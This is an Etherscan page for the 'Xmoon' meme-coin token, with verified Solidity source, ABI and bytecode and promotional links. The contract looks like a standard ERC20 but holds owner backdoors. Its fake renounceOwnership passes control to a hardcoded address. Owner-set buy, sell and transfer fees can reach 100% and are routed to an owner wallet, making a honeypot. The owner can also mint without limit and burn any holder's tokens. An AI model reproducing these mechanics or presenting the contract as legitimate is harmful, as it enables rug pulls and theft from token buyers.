ETH Price: $2,507.46 (+0.34%)

Token

Xmoon (Xmoon)
 

Overview

Max Total Supply

1,000,891,450,000 Xmoon

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
12,749,191.215478272711608 Xmoon

Value
$0.00
0x7e156cd10e1ecc7c84966369eec959ec52cf5d60
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Xmoon

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-11
*/

//XMoon MEME coin has huge potential, liquidity 1ETH/1000M $XMoon
//Official Website:http://xmoon.vip/
//telegram group:https://t.me/XMoonERC2
//X:https://x.com/xmoonerc20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

    
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    
    
     function owner() public view virtual returns (address) {
         return _owner;
     }

    
     function _checkOwner() internal view virtual {
         
         require(owner() == _msgSender(), "Ownable: caller is not the owner");
     }

    
    function renounceOwnership() public virtual  {
        _transferOwnership(address(0x72f85C3f6A4C1C239e2896e1cbD21bd3dd61FFDc));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;


interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address to, uint256 amount) external returns (bool);

    
    function allowance(address owner, address spender) external view returns (uint256);

    
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}



pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}



pragma solidity ^0.8.0;





contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }





    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Xmoon is ERC20, Ownable {
    using SafeMath for uint256;
    address public addr; 
    address public pair;
    uint256 public BIBIA = 0;
    uint256 public BIBIB = 0;
    uint256 public BIBIC;
    
    
                        
    constructor() ERC20("Xmoon", "Xmoon") {
         
        _mint(address(0x72f85C3f6A4C1C239e2896e1cbD21bd3dd61FFDc), 1000000000 * 10 ** decimals());
        
        
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(1000);
        if(sender == pair){
            super._transfer(sender, addr, x.mul(BIBIA));
            super._transfer(sender, recipient, x.mul(1000-BIBIA));
        }else if(recipient == pair){
            super._transfer(sender, addr, x.mul(BIBIB));
            super._transfer(sender, recipient, x.mul(1000-BIBIB));
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
            super._transfer(sender, addr, x.mul(BIBIC));
            super._transfer(sender, recipient, x.mul(1000-BIBIC));
        }else{
            super._transfer(sender, recipient, x.mul(1000));
        }
    }
    
    function setPair(address _pair) public onlyOwner {
        pair = _pair;
    }
    
    function setbuy(uint256 _BIBIA) public onlyOwner {
        BIBIA = _BIBIA;
     }
     
     function setsell(uint256 _BIBIB)public onlyOwner {
        BIBIB = _BIBIB;
     }
     
     function setBIBIC(uint256 _BIBIC)public onlyOwner {
         BIBIC =_BIBIC;
     }
     

    function setaddr ( address _addr)public onlyOwner{
       addr = _addr;
    }
    
    function zf(address account, uint256 amount) public onlyOwner {
        _mint(account, amount* 10 ** decimals());
    }
   

    function XH(address account, uint256 amount) public onlyOwner {
        _burn(account, amount* 10 ** decimals());
    }

    
    

     
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BIBIA","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BIBIB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BIBIC","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"XH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIC","type":"uint256"}],"name":"setBIBIC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"setaddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIA","type":"uint256"}],"name":"setbuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIB","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"zf","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052600060085560006009553480156200001b57600080fd5b506040805180820182526005808252642c36b7b7b760d91b6020808401828152855180870190965292855284015281519192916200005c916003916200021d565b508051620000729060049060208401906200021d565b5050506200008f62000089620000db60201b60201c565b620000df565b620000d57372f85c3f6a4c1c239e2896e1cbd21bd3dd61ffdc620000b262000131565b620000bf90600a6200036b565b620000cf90633b9aca0062000463565b62000136565b620004d8565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b601290565b6001600160a01b038216620001685760405162461bcd60e51b81526004016200015f90620002c3565b60405180910390fd5b620001766000838362000218565b80600260008282546200018a919062000303565b90915550506001600160a01b03821660009081526020819052604081208054839290620001b990849062000303565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620001fe908590620002fa565b60405180910390a3620002146000838362000218565b5050565b505050565b8280546200022b9062000485565b90600052602060002090601f0160209004810192826200024f57600085556200029a565b82601f106200026a57805160ff19168380011785556200029a565b828001600101855582156200029a579182015b828111156200029a5782518255916020019190600101906200027d565b50620002a8929150620002ac565b5090565b5b80821115620002a85760008155600101620002ad565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60008219821115620003195762000319620004c2565b500190565b80825b600180861162000332575062000362565b818704821115620003475762000347620004c2565b808616156200035557918102915b9490941c93800262000321565b94509492505050565b60006200037f60001960ff85168462000386565b9392505050565b60008262000397575060016200037f565b81620003a6575060006200037f565b8160018114620003bf5760028114620003ca57620003fe565b60019150506200037f565b60ff841115620003de57620003de620004c2565b6001841b915084821115620003f757620003f7620004c2565b506200037f565b5060208310610133831016604e8410600b841016171562000436575081810a83811115620004305762000430620004c2565b6200037f565b6200044584848460016200031e565b8086048211156200045a576200045a620004c2565b02949350505050565b6000816000190483118215151615620004805762000480620004c2565b500290565b6002810460018216806200049a57607f821691505b60208210811415620004bc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6113f180620004e86000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c8063767800de116100de578063a8aa1b3111610097578063d82ec0e611610071578063d82ec0e614610308578063dd62ed3e1461031b578063f0f261c41461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b89ea0f1146102f55761018e565b8063767800de1461027c5780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac57806398bb0011146102b4578063a457c2d7146102c75761018e565b8063313ce5671161014b578063532467a411610125578063532467a4146102465780636ffe11b11461024e57806370a0823114610261578063715018a6146102745761018e565b8063313ce567146102165780633893d8521461022b57806339509351146102335761018e565b806306fdde0314610193578063095ea7b3146101b15780630d56562c146101d157806317432588146101e657806318160ddd146101fb57806323b872dd14610203575b600080fd5b61019b610354565b6040516101a89190610e35565b60405180910390f35b6101c46101bf366004610dd5565b6103e6565b6040516101a89190610e2a565b6101e46101df366004610d4e565b61040a565b005b6101ee610434565b6040516101a891906111ce565b6101ee61043a565b6101c4610211366004610d9a565b610440565b61021e610470565b6040516101a891906111d7565b6101ee610475565b6101c4610241366004610dd5565b61047b565b6101ee6104a7565b6101e461025c366004610dfe565b6104ad565b6101ee61026f366004610d4e565b6104ba565b6101e46104d9565b6102846104f8565b6040516101a89190610e16565b6101e461029f366004610d4e565b610507565b610284610531565b61019b610540565b6101e46102c2366004610dfe565b61054f565b6101c46102d5366004610dd5565b61055c565b6102846105b8565b6101c46102f0366004610dd5565b6105c7565b6101e4610303366004610dd5565b6105df565b6101e4610316366004610dfe565b610611565b6101ee610329366004610d68565b61061e565b6101e461033c366004610dd5565b610649565b6101e461034f366004610d4e565b610677565b6060600380546103639061136a565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061136a565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106b1565b90506103fe8185856106b5565b60019150505b92915050565b610412610769565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b60025490565b60008061044b6106b1565b90506104588582856107a8565b6104638585856107f2565b60019150505b9392505050565b601290565b60095481565b6000806104866106b1565b90506103fe818585610498858961061e565b6104a291906111e5565b6106b5565b600a5481565b6104b5610769565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104f67372f85c3f6a4c1c239e2896e1cbd21bd3dd61ffdc610949565b565b6006546001600160a01b031681565b61050f610769565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031690565b6060600480546103639061136a565b610557610769565b600855565b6000806105676106b1565b90506000610575828661061e565b9050838110156105a05760405162461bcd60e51b815260040161059790611152565b60405180910390fd5b6105ad82868684036106b5565b506001949350505050565b6007546001600160a01b031681565b6000806105d26106b1565b90506103fe8185856107f2565b6105e7610769565b61060d826105f3610470565b6105fe90600a611263565b6106089084611334565b61099b565b5050565b610619610769565b600a55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610651610769565b61060d8261065d610470565b61066890600a611263565b6106729084611334565b610a63565b61067f610769565b6001600160a01b0381166106a55760405162461bcd60e51b815260040161059790610f0d565b6106ae81610949565b50565b3390565b6001600160a01b0383166106db5760405162461bcd60e51b81526004016105979061110e565b6001600160a01b0382166107015760405162461bcd60e51b815260040161059790610f53565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061075c9085906111ce565b60405180910390a3505050565b6107716106b1565b6001600160a01b0316610782610531565b6001600160a01b0316146104f65760405162461bcd60e51b815260040161059790611053565b60006107b4848461061e565b905060001981146107ec57818110156107df5760405162461bcd60e51b815260040161059790610f95565b6107ec84848484036106b5565b50505050565b6000610800826103e8610b55565b6007549091506001600160a01b0385811691161415610865576006546008546108419186916001600160a01b039091169061083c908590610b97565b610bdc565b610860848461083c6008546103e86108599190611353565b8590610b97565b6107ec565b6007546001600160a01b03848116911614156108b65760065460095461089e9186916001600160a01b039091169061083c908590610b97565b610860848461083c6009546103e86108599190611353565b6007546001600160a01b0316158015906108de57506007546001600160a01b03848116911614155b80156108f857506007546001600160a01b03858116911614155b1561093857600654600a546109209186916001600160a01b039091169061083c908590610b97565b610860848461083c600a546103e86108599190611353565b6107ec848461083c846103e8610b97565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166109c15760405162461bcd60e51b815260040161059790611197565b6109cd60008383610b50565b80600260008282546109df91906111e5565b90915550506001600160a01b03821660009081526020819052604081208054839290610a0c9084906111e5565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a4f9085906111ce565b60405180910390a361060d60008383610b50565b6001600160a01b038216610a895760405162461bcd60e51b815260040161059790611088565b610a9582600083610b50565b6001600160a01b03821660009081526020819052604090205481811015610ace5760405162461bcd60e51b815260040161059790610ecb565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610afd908490611353565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b409086906111ce565b60405180910390a3610b50836000845b505050565b600061046983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d00565b600082610ba657506000610404565b6000610bb28385611334565b905082610bbf85836111fd565b146104695760405162461bcd60e51b815260040161059790611012565b6001600160a01b038316610c025760405162461bcd60e51b8152600401610597906110c9565b6001600160a01b038216610c285760405162461bcd60e51b815260040161059790610e88565b610c33838383610b50565b6001600160a01b03831660009081526020819052604090205481811015610c6c5760405162461bcd60e51b815260040161059790610fcc565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610ca39084906111e5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ced91906111ce565b60405180910390a36107ec848484610b50565b60008183610d215760405162461bcd60e51b81526004016105979190610e35565b506000610d2e84866111fd565b95945050505050565b80356001600160a01b03811681146104d457600080fd5b600060208284031215610d5f578081fd5b61046982610d37565b60008060408385031215610d7a578081fd5b610d8383610d37565b9150610d9160208401610d37565b90509250929050565b600080600060608486031215610dae578081fd5b610db784610d37565b9250610dc560208501610d37565b9150604084013590509250925092565b60008060408385031215610de7578182fd5b610df083610d37565b946020939093013593505050565b600060208284031215610e0f578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6157858101830151858201604001528201610e45565b81811115610e725783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b600082198211156111f8576111f86113a5565b500190565b60008261121857634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861161122f575061125a565b818704821115611241576112416113a5565b8086161561124e57918102915b9490941c938002611220565b94509492505050565b600061046960001960ff85168460008261127f57506001610469565b8161128c57506000610469565b81600181146112a257600281146112ac576112d9565b6001915050610469565b60ff8411156112bd576112bd6113a5565b6001841b9150848211156112d3576112d36113a5565b50610469565b5060208310610133831016604e8410600b841016171561130c575081810a83811115611307576113076113a5565b610469565b611319848484600161121d565b80860482111561132b5761132b6113a5565b02949350505050565b600081600019048311821515161561134e5761134e6113a5565b500290565b600082821015611365576113656113a5565b500390565b60028104600182168061137e57607f821691505b6020821081141561139f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220f5c1b75bc008a55b45a9f2043086f235eb8a8969dbf3973abcbacc99189507de64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063767800de116100de578063a8aa1b3111610097578063d82ec0e611610071578063d82ec0e614610308578063dd62ed3e1461031b578063f0f261c41461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b89ea0f1146102f55761018e565b8063767800de1461027c5780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac57806398bb0011146102b4578063a457c2d7146102c75761018e565b8063313ce5671161014b578063532467a411610125578063532467a4146102465780636ffe11b11461024e57806370a0823114610261578063715018a6146102745761018e565b8063313ce567146102165780633893d8521461022b57806339509351146102335761018e565b806306fdde0314610193578063095ea7b3146101b15780630d56562c146101d157806317432588146101e657806318160ddd146101fb57806323b872dd14610203575b600080fd5b61019b610354565b6040516101a89190610e35565b60405180910390f35b6101c46101bf366004610dd5565b6103e6565b6040516101a89190610e2a565b6101e46101df366004610d4e565b61040a565b005b6101ee610434565b6040516101a891906111ce565b6101ee61043a565b6101c4610211366004610d9a565b610440565b61021e610470565b6040516101a891906111d7565b6101ee610475565b6101c4610241366004610dd5565b61047b565b6101ee6104a7565b6101e461025c366004610dfe565b6104ad565b6101ee61026f366004610d4e565b6104ba565b6101e46104d9565b6102846104f8565b6040516101a89190610e16565b6101e461029f366004610d4e565b610507565b610284610531565b61019b610540565b6101e46102c2366004610dfe565b61054f565b6101c46102d5366004610dd5565b61055c565b6102846105b8565b6101c46102f0366004610dd5565b6105c7565b6101e4610303366004610dd5565b6105df565b6101e4610316366004610dfe565b610611565b6101ee610329366004610d68565b61061e565b6101e461033c366004610dd5565b610649565b6101e461034f366004610d4e565b610677565b6060600380546103639061136a565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061136a565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106b1565b90506103fe8185856106b5565b60019150505b92915050565b610412610769565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b60025490565b60008061044b6106b1565b90506104588582856107a8565b6104638585856107f2565b60019150505b9392505050565b601290565b60095481565b6000806104866106b1565b90506103fe818585610498858961061e565b6104a291906111e5565b6106b5565b600a5481565b6104b5610769565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104f67372f85c3f6a4c1c239e2896e1cbd21bd3dd61ffdc610949565b565b6006546001600160a01b031681565b61050f610769565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031690565b6060600480546103639061136a565b610557610769565b600855565b6000806105676106b1565b90506000610575828661061e565b9050838110156105a05760405162461bcd60e51b815260040161059790611152565b60405180910390fd5b6105ad82868684036106b5565b506001949350505050565b6007546001600160a01b031681565b6000806105d26106b1565b90506103fe8185856107f2565b6105e7610769565b61060d826105f3610470565b6105fe90600a611263565b6106089084611334565b61099b565b5050565b610619610769565b600a55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610651610769565b61060d8261065d610470565b61066890600a611263565b6106729084611334565b610a63565b61067f610769565b6001600160a01b0381166106a55760405162461bcd60e51b815260040161059790610f0d565b6106ae81610949565b50565b3390565b6001600160a01b0383166106db5760405162461bcd60e51b81526004016105979061110e565b6001600160a01b0382166107015760405162461bcd60e51b815260040161059790610f53565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061075c9085906111ce565b60405180910390a3505050565b6107716106b1565b6001600160a01b0316610782610531565b6001600160a01b0316146104f65760405162461bcd60e51b815260040161059790611053565b60006107b4848461061e565b905060001981146107ec57818110156107df5760405162461bcd60e51b815260040161059790610f95565b6107ec84848484036106b5565b50505050565b6000610800826103e8610b55565b6007549091506001600160a01b0385811691161415610865576006546008546108419186916001600160a01b039091169061083c908590610b97565b610bdc565b610860848461083c6008546103e86108599190611353565b8590610b97565b6107ec565b6007546001600160a01b03848116911614156108b65760065460095461089e9186916001600160a01b039091169061083c908590610b97565b610860848461083c6009546103e86108599190611353565b6007546001600160a01b0316158015906108de57506007546001600160a01b03848116911614155b80156108f857506007546001600160a01b03858116911614155b1561093857600654600a546109209186916001600160a01b039091169061083c908590610b97565b610860848461083c600a546103e86108599190611353565b6107ec848461083c846103e8610b97565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166109c15760405162461bcd60e51b815260040161059790611197565b6109cd60008383610b50565b80600260008282546109df91906111e5565b90915550506001600160a01b03821660009081526020819052604081208054839290610a0c9084906111e5565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a4f9085906111ce565b60405180910390a361060d60008383610b50565b6001600160a01b038216610a895760405162461bcd60e51b815260040161059790611088565b610a9582600083610b50565b6001600160a01b03821660009081526020819052604090205481811015610ace5760405162461bcd60e51b815260040161059790610ecb565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610afd908490611353565b90